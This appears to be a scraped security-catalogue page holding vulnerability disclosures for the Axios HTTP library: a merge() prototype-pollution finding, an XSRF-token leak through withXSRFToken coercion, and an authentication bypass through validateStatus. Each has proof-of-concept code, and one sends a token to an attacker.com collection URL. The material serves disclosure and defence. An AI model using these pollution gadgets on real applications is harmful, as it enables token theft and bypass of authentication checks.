style CLASS_B fill:#fb923c,stroke:#9a3412,color:#fff style PRE_A fill:#e2e8f0,stroke:#64748b,color:#1e293b style PA1 fill:#fbbf24,stroke:#92400e,color:#000 style PA2 fill:#fbbf24,stroke:#92400e,color:#000 style PA3 fill:#fbbf24,stroke:#92400e,color:#000 style SA1 fill:#ef4444,stroke:#991b1b,color:#fff style SA2 fill:#ef4444,stroke:#991b1b,color:#fff style SA3 fill:#ef4444,stroke:#991b1b,color:#fff style SB1 fill:#ef4444,stroke:#991b1b,color:#fff ` Root Cause Finding A. lib/utils.js:404-429's merge() creates result = {} at line 406. The dangerous-keys filter on lines 408-411 blocks the write side, but the read at line 414 (isPlainObject(result[targetKey])) still walks the prototype chain. When targetKey matches a polluted slot, result[targetKey] returns the polluted nested object, and the recursive merge(result[targetKey], val) on line 415 iterates that object's own keys via forEach and copies them as own properties into the new accumulator. Those keys flow through mergeConfig.js:35 → Axios.js:148 (utils.merge(headers.common, headers[config.method])) → Axios.js:155 (AxiosHeaders.concat(...)) → onto the wire via http.js:677 (headers: headers.toJSON()) → http.js:767 (transport.request(options, ...)). Finding B. lib/core/mergeConfig.js:25 correctly makes config = Object.create(null), but the descriptor passed on line 26 is a plain-object literal - its get/set lookups walk Object.prototype. A polluted non-function Object.prototype.get or .set makes Object.defineProperty throw TypeError: Getter must be a function (or Setter must be a function) before the call returns. The descriptor is built unconditionally on every mergeConfig invocation, so every axios request throws - POST, PUT, DELETE, PATCH, HEAD, QUERY, not only GET. Suggested Fix Use null-prototype objects in place of the plain-object literals at lib/utils.js:406 and lib/core/mergeConfig.js:26-31. The same descriptor pattern recurs at lib/core/AxiosError.js:37, lib/core/AxiosHeaders.js:100, lib/utils.js:447/454/492/498, and lib/adapters/adapters.js:28/32. Resources CVE-2018-16487 - lodash.merge prototype pollution in lodash <= 4.17.10` CWE-1321 - Improperly Controlled Modification of Object Prototype Attributes

OWASP A03LLM01 · Prompt InjectionOWASP Web
Get guardrail →
8 rules

Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion

Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in withXSRFToken Boolean Coercion Summary The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker. Severity: Medium (CVSS 5.4) Affected Versions: All versions since withXSRFToken was introduced Vulnerable Component: lib/helpers/resolveConfig.js:59 Environment: Browser-only (XSRF logic only runs when hasStandardBrowserEnv is true) CWE CWE-201: Insertion of Sensitive Information Into Sent Data CWE-183: Permissive List of Allowed Inputs CVSS 3.1 Score: 5.4 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N | Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP triggered remotely via vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx | | Privileges Required | None | No authentication needed | | User Interaction | Required | Victim must use browser with axios making cross-origin requests | | Scope | Unchanged | Token leakage within browser context | | Confidentiality | Low | XSRF token leaked — anti-CSRF token, not session token | | Integrity | Low | Stolen XSRF token enables CSRF attacks (bypass CSRF protection only) | | Availability | None | No availability impact | Usage of "Helper" Vulnerabilities This vulnerability requires Zero Direct User Input when triggered via prototype pollution. If an attacker can pollute Object.prototype.withXSRFToken with any truthy value (e.g., 1, "true", {}), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination. Vulnerable Code File: lib/helpers/resolveConfig.js, lines 57-66 ``javascript // Line 57: Function check — only applies if withXSRFToken is a function withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig)); // Line 59: The vulnerable condition if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) { // ^^^^^^^^^^^^^^^^ // When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits // isURLSameOrigin() is NEVER called → token sent to ANY origin const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName); if (xsrfValue) { headers.set(xsrfHeaderName, xsrfValue); } } ` Designed behavior: true → always send token (explicit cross-origin opt-in) false → never send token undefined → send only for same-origin requests Actual behavior for non-boolean truthy values (1, "false", {}, []): All treated as truthy → same-origin check skipped → token sent everywhere Proof of Concept `javascript // Simulated prototype pollution from any vulnerable dependency Object.prototype.withXSRFToken = 1; // In browser with document.cookie = "XSRF-TOKEN=secret-csrf-token-abc123" // Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123 // Even to cross-origin hosts: await axios.get('https://attacker.com/collect'); // → attacker receives the XSRF token in request headers ` Verified PoC Output ` withXSRFToken Value Sends Token Cross-Origin Expected true (boolean) YES Yes (opt-in) false (boolean) No No undefined (default) No No 1 (number) YES ← BUG No "false" (string) YES ← BUG No {} (object) YES ← BUG No [] (array) YES ← BUG No Prototype pollution: Object.prototype.withXSRFToken = 1 config.withXSRFToken = 1 → leaks=true isURLSameOrigin() was NOT called (short-circuited) ` Impact Analysis XSRF Token Theft: Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application Universal Scope: A single Object.prototype.withXSRFToken = 1 affects every axios request in the application Misconfiguration Risk: Developer writing withXSRFToken: "false" (string) instead of false (boolean) triggers the same issue without PP Limitations: Browser-only (XSRF logic runs only in hasStandardBrowserEnv) XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking Attacker still needs a way to deliver the forged request after obtaining the token Recommended Fix Use strict boolean comparison: `javascript // FIXED: lib/helpers/resolveConfig.js const shouldSendXSRF = withXSRFToken === true || (withXSRFToken == null && isURLSameOrigin(newConfig.url)); if (shouldSendXSRF) { const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName); if (xsrfValue) { headers.set(xsrfHeaderName, xsrfValue); } } `` Resources CWE-201: Insertion of Sensitive Information Into Sent Data CWE-183: Permissive List of Allowed Inputs GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios Axios GitHub Repository Timeline | Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-16 | Report revised: corrected CVSS, documented limitations | | TBD | Report submitted to vendor via GitHub Security Advisory |

8 rules

Axios: Authentication Bypass via Prototype Pollution Gadget in `validateStatus` Merge Strategy

Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in validateStatus Merge Strategy Summary The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution to silently suppress all HTTP error responses (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling. The root cause is that validateStatus is the only config property using the mergeDirectKeys merge strategy, which uses JavaScript's in operator — an operator that inherently traverses the prototype chain. When Object.prototype.validateStatus is polluted with () => true, all HTTP status codes are accepted as success. Severity: High (CVSS 8.2) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/core/mergeConfig.js (mergeDirectKeys strategy) + lib/core/settle.js CWE CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') CWE-287: Improper Authentication CVSS 3.1 Score: 8.2 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N | Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely | | Attack Complexity | Low | Once PP exists, a single property assignment exploits this. Consistent with GHSA-fvcv-3m26-pcqx | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Impact within the application | | Confidentiality | Low | 401 treated as success may expose data behind auth gates | | Integrity | High | All error handling and auth checks are silently bypassed — application operates on invalid assumptions | | Availability | None | The function works correctly (returns true), no crash | Usage of "Helper" Vulnerabilities This vulnerability requires Zero Direct User Input. If an attacker can pollute Object.prototype via any other library in the stack, Axios will automatically inherit the polluted validateStatus function during config merge. The in operator in mergeDirectKeys makes this property uniquely susceptible to prototype pollution compared to all other config properties. Why validateStatus Is Uniquely Vulnerable All other config properties use defaultToConfig2, which reads config2[prop] (traverses prototype). But validateStatus uses mergeDirectKeys, which uses the in operator: ``javascript // mergeConfig.js:58-64 — mergeDirectKeys (ONLY used by validateStatus) function mergeDirectKeys(a, b, prop) { if (prop in config2) { // ← in traverses prototype chain! return getMergedValue(a, b); } else if (prop in config1) { return getMergedValue(undefined, a); } } // mergeConfig.js:94 const mergeMap = { // ... all others use defaultToConfig2 ... validateStatus: mergeDirectKeys, // ← ONLY property using this strategy }; ` The in operator is a more aggressive prototype traversal than property access. While config2['validateStatus'] also traverses the prototype, the explicit in check makes the intent clearer and the vulnerability more direct. Proof of Concept 1. The Setup (Simulated Pollution) `javascript Object.prototype.validateStatus = () => true; ` 2. The Gadget Trigger (Safe Code) `javascript // Application checks authentication via HTTP status codes try { const response = await axios.get('https://api.internal/admin/users'); // Developer expects: 401 → catch block → redirect to login // Reality: 401 → treated as success → displays admin data processAdminData(response.data); // Executes with 401 response body! } catch (error) { redirectToLogin(); // NEVER REACHED for 401/403/500 } ` 3. The Execution `javascript // mergeConfig.js:58 — 'validateStatus' in config2 // config2 = { url: '/admin/users', method: 'get' } // 'validateStatus' in config2 → checks prototype → finds () => true → TRUE // → getMergedValue(defaultValidator, () => true) → returns () => true // settle.js:16 — ALL status codes resolve const validateStatus = response.config.validateStatus; // () => true if (!response.status || !validateStatus || validateStatus(response.status)) { resolve(response); // 401, 403, 500 all resolve here! } ` 4. The Impact ` Before pollution: HTTP 200 → resolve (success) HTTP 401 → reject (auth error) → redirectToLogin() HTTP 403 → reject (forbidden) → showAccessDenied() HTTP 500 → reject (server error) → showErrorPage() After pollution: HTTP 200 → resolve (success) HTTP 401 → resolve (SUCCESS!) → processAdminData() with error body HTTP 403 → resolve (SUCCESS!) → application thinks user has access HTTP 500 → resolve (SUCCESS!) → application processes error as data ` Verified PoC Output ` --- Before Pollution --- 401: REJECTED as expected - Request failed with status code 401 500: REJECTED as expected - Request failed with status code 500 --- After Pollution --- 200: RESOLVED as success (status: 200) 301: RESOLVED as success (status: 301) 401: RESOLVED as success (status: 401) 403: RESOLVED as success (status: 403) 404: RESOLVED as success (status: 404) 500: RESOLVED as success (status: 500) 503: RESOLVED as success (status: 503) --- Authentication Bypass Demo --- Auth check bypassed! 401 treated as success. Application proceeds with: { status: 401, message: 'Response with status 401' } ` Impact Analysis Authentication Bypass: Applications relying on axios rejecting 401/403 to enforce auth will silently accept unauthorized responses, allowing unauthenticated access to protected resources. Silent Error Swallowing: 500-series errors are treated as success, causing applications to process error bodies as valid data — leading to data corruption or logic errors. Security Control Bypass: Rate limiting (429), WAF blocks (403), and CAPTCHA challenges are suppressed. Universal Scope: Affects every axios instance in the application, including third-party libraries. Recommended Fix Replace the in operator with hasOwnProperty in mergeDirectKeys: `javascript // FIXED: lib/core/mergeConfig.js function mergeDirectKeys(a, b, prop) { if (Object.prototype.hasOwnProperty.call(config2, prop)) { return getMergedValue(a, b); } else if (Object.prototype.hasOwnProperty.call(config1, prop)) { return getMergedValue(undefined, a); } } ` Resources CWE-1321: Prototype Pollution CWE-287: Improper Authentication GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios MDN: in` operator Axios GitHub Repository Timeline | Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-15 | PoC developed and vulnerability confirmed | | 2026-04-16 | Report revised for accuracy | | TBD | Report submitted to vendor via GitHub Security Advisory |

OWASP A03OWASP A07LLM01 · Prompt InjectionOWASP Web
Get guardrail →

Showing 1–20 of 30 threats